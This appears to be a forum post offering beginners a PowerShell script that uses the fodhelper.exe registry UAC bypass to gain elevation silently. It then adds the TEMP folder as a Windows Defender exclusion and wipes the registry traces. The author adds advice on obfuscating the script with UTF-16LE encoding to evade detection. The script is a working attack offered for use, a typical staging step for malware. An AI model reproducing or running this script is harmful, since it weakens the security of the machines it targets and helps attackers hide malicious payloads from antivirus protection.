[nullvex]

hello here is a little something/ script for some beginners 
this power-shell code is simple yet effective
it adds a windows defender exclusion to the "&env:TEMP" directory

hope you like it.

---

if (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {     $command = "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command `"Add-MpPreference -ExclusionPath '$env:Temp'`""     # Clean up any existing registry entries (silently continue if they don't exist)     Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction SilentlyContinue     New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null     New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null     Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $command Force     Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden     Start-Sleep -Seconds 3     Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction SilentlyContinue     Write-Host "Exclusion path '$env:Temp' added to Windows Defender." } else {     Add-MpPreference -ExclusionPath "$env:Temp"     Write-Host "Exclusion path '$env:Temp' added to Windows Defender (already elevated)." }

its unfortunately detected by windows defender but if added
some kind of obfuscation like (UTF-16LE) it could
help detection rates.

either way use this code to your liking.